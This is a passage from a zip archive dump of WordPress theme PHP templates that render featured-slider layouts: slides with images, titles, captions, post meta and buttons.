	$close_link_html = '';
	if ( $buttonlink_url ) {
		$open_link_html  = '<a href="' . esc_url( do_shortcode( $buttonlink_url ) ) . '">';
		$close_link_html = '</a>';
	}

	if ( ! empty( $image_url ) ):
		?>
        <div class="item swiper-slide pencislider-item">
			<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                <div class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                     data-bgset="<?php echo penci_get_image_size_url( $image_url, $image_size ); ?>"
                     style="height: <?php echo $penci_slider_height; ?>px;"><?php echo $open_link_html . $close_link_html; ?></div>
			<?php } else { ?>
                <div class="penci-image-holder"
                     style="background-image: url('<?php echo penci_get_image_size_url( $image_url, $image_size ); ?>'); height: <?php echo $penci_slider_height; ?>px;"><?php echo $open_link_html . $close_link_html; ?></div>
			<?php } ?>

            <div class="pencislider-container penci-<?php echo esc_attr( $animation ); ?> align-<?php echo esc_attr( $slider_align ); ?>">
                <div class="pencislider-content">
					<?php if ( ! empty( $slider_title ) ): ?>
                        <h2 class="pencislider-title"<?php echo( $title_style ); ?>><?php echo $open_link_html . '<span class="pencititle-inner-bg"' . $title_bgcolor . '>' . do_shortcode( $slider_title ) . '</span>' . $close_link_html; ?></h2>
					<?php endif; ?>
					<?php if ( ! empty( $caption ) ): ?>
                        <p class="pencislider-caption"<?php echo( $caption_style ); ?>><span
                                    class="pencicaption-inner-bg"<?php echo $caption_bgcolor; ?>><?php echo do_shortcode( $caption ); ?></span>
                        </p>
					<?php endif; ?>
					<?php echo( $button_html ); ?>
                </div>
            </div>
        </div>
	<?php endif; /* Igrone if doesn't exists image */ ?>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\^$F       inc/featured_slider/style-14.phpnu [        <?php
/**
 * Template part for Slider Style 14
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
                $bgset = penci_image_srcset( get_the_ID(),$thumb,$image_size_m );
				if ( $i % 3 == 1 ) {
					$bgset = penci_image_srcset( get_the_ID(),$image_size_big,$image_size_m );
                }
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo $bgset; ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\uq  q    inc/featured_slider/style-2.phpnu [        <?php
/**
 * Template part for Slider Style 2
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-thumb';
$image_size_mobile   = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>

    <div class="swiper-slide item">
        
		<?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size, $image_size_mobile ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
		<?php endif; ?>
        
    </div>

<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\ϠD       inc/featured_slider/style-36.phpnu [        <?php
/**
 * Template part for Slider Style 36
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$image_size_m ); ?>"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $image_size ); ?>');"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content-right">
                <div class="feat-text-right">
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                        <div class="featured-content-excerpt">
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <div class="feat-meta">
									<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
							<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
								<?php 
								if( get_theme_mod( 'penci_excerptcharac' ) ){
									the_excerpt();
								} else {
									$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
									penci_the_excerpt( $excerpt_length );
								}
								?>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\QQ       inc/featured_slider/style-31.phpnu [        <?php
/**
 * Template part for Slider Style 31
 */
$image_size = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-single-full';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
$number = get_theme_mod( 'penci_featured_slider_slides' );
if ( ! $number ): $number = - 1; endif;
$penci_slider_height = get_theme_mod( 'penci_featured_penci_slider_height' );
if ( ! $penci_slider_height || ! is_numeric( $penci_slider_height ) ): $penci_slider_height = 550; endif;
$orderby = 'menu_order';
if ( get_theme_mod( 'penci_featured_slider_random' ) ):
	$orderby = 'rand';
endif;

$featured_args = array(
	'post_type'      => 'penci_slider',
	'order'          => 'ASC',
	'orderby'        => $orderby,
	'posts_per_page' => $number
);

$feat_query = new WP_Query( $featured_args );
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
	<?php
	/* Get data of this slide */
	$image_url       = get_post_meta( $post->ID, '_penci_slider_image', true );
	$image_url       = ! $image_url ? '' : $image_url;
	$slider_title    = get_post_meta( $post->ID, '_penci_slider_title', true );
	$slider_title    = ! $slider_title ? '' : $slider_title;
	$caption         = get_post_meta( $post->ID, '_penci_slider_caption', true );
	$caption         = ! $caption ? '' : $caption;
	$button_text     = get_post_meta( $post->ID, '_penci_slider_button', true );
	$button_text     = ! $button_text ? '' : $button_text;
	$title_color     = get_post_meta( $post->ID, '_penci_slider_title_color', true );
	$title_style     = ! $title_color ? '' : ' style="color: ' . $title_color . '"';
	$title_bgcolor   = get_post_meta( $post->ID, '_penci_slider_title_bgcolor', true );
	$title_bgcolor   = ! $title_bgcolor ? '' : ' style="background-color: ' . penci_cover_hex_to_rgb( $title_bgcolor, '0.4' ) . '"';
	$caption_color   = get_post_meta( $post->ID, '_penci_slider_caption_color', true );
	$caption_style   = ! $caption_color ? '' : ' style="color: ' . $caption_color . '"';
	$caption_bgcolor = get_post_meta( $post->ID, '_penci_slider_caption_bgcolor', true );
	$caption_bgcolor = ! $caption_bgcolor ? '' : ' style="background-color: ' . penci_cover_hex_to_rgb( $caption_bgcolor, '0.4' ) . '"';
	$button_bg       = get_post_meta( $post->ID, '_penci_slider_button_bg', true );
	$button_bg       = ! $button_bg ? '' : 'background: ' . $button_bg . ';';
	$button_color    = get_post_meta( $post->ID, '_penci_slider_button_text_color', true );
	$button_color    = ! $button_color ? '' : 'color: ' . $button_color;
	$animation       = get_post_meta( $post->ID, '_penci_slide_element_animation', true );
	$animation       = ! $animation ? 'fadeInUp' : $animation;

	$style_button = '';
	if ( ! empty( $button_bg ) || ! empty( $button_color ) ): $style_button = ' style="' . $button_bg . $button_color . '"'; endif;
	$button_html = '';

	if ( ! empty( $button_text ) ) {
		$button_html = '<div class="penci-button"><a class="pencislider-button"' . $style_button . '>' . sanitize_text_field( do_shortcode( $button_text ) ) . '</a></div>';
		$button_url  = get_post_meta( $post->ID, '_penci_slider_button_url', true );
		$button_url  = ! $button_url ? '' : $button_url;
		if ( ! empty( $button_url ) ):
			$button_html = '<div class="penci-button"><a class="pencislider-button"' . $style_button . ' href="' . esc_url( do_shortcode( $button_url ) ) . '">' . sanitize_text_field( do_shortcode( $button_text ) ) . '</a></div>';
		endif;
	}
	$slider_align = get_post_meta( $post->ID, '_penci_slide_alignment', true );
	$slider_align = ! $slider_align ? 'center' : $slider_align;

	$buttonlink_url  = get_post_meta( $post->ID, '_penci_slider_button_url', true );
	$open_link_html  = '';
	$close_link_html = '';
	if ( $buttonlink_url ) {
		$open_link_html  = '<a href="' . esc_url( do_shortcode( $buttonlink_url ) ) . '">';
		$close_link_html = '</a>';
	}

	if ( ! empty( $image_url ) ):
		?>
        <div class="item swiper-slide pencislider-item">
			<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                <div class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                     data-bgset="<?php echo penci_get_image_size_url( $image_url, $image_size ); ?>"
                     style="height: <?php echo $penci_slider_height; ?>px;"><?php echo $open_link_html . $close_link_html; ?></div>
			<?php } else { ?>
                <div class="penci-image-holder"
                     style="background-image: url('<?php echo penci_get_image_size_url( $image_url, $image_size ); ?>'); height: <?php echo $penci_slider_height; ?>px;"><?php echo $open_link_html . $close_link_html; ?></div>
			<?php } ?>

            <div class="pencislider-container penci-<?php echo esc_attr( $animation ); ?> align-<?php echo esc_attr( $slider_align ); ?>">
                <div class="pencislider-content">
					<?php if ( ! empty( $slider_title ) ): ?>
                        <h2 class="pencislider-title"<?php echo( $title_style ); ?>><?php echo $open_link_html . '<span class="pencititle-inner-bg"' . $title_bgcolor . '>' . do_shortcode( $slider_title ) . '</span>' . $close_link_html; ?></h2>
					<?php endif; ?>
					<?php if ( ! empty( $caption ) ): ?>
                        <p class="pencislider-caption"<?php echo( $caption_style ); ?>><span
                                    class="pencicaption-inner-bg"<?php echo $caption_bgcolor; ?>><?php echo do_shortcode( $caption ); ?></span>
                        </p>
					<?php endif; ?>
					<?php echo( $button_html ); ?>
                </div>
            </div>
        </div>
	<?php endif; /* Igrone if doesn't exists image */ ?>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\      inc/featured_slider/style-3.phpnu [        <?php
/**
 * Template part for Slider Style 3
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-full-thumb';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$image_size_m ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
		<?php endif; ?>
		</div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\ve      inc/featured_slider/style-8.phpnu [        <?php
/**
 * Template part for Slider Style 8
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size,$image_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\       inc/featured_slider/style-21.phpnu [        <?php
/**
 * Template part for Slider Style 21
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
                $bgset = penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile );
				if ( ( $i % 5 == 4 || $i % 5 == 0 )) {
                    $bgset = penci_image_srcset( get_the_ID(),$image_size_big,$image_size_mobile );
                }
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo $bgset; ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
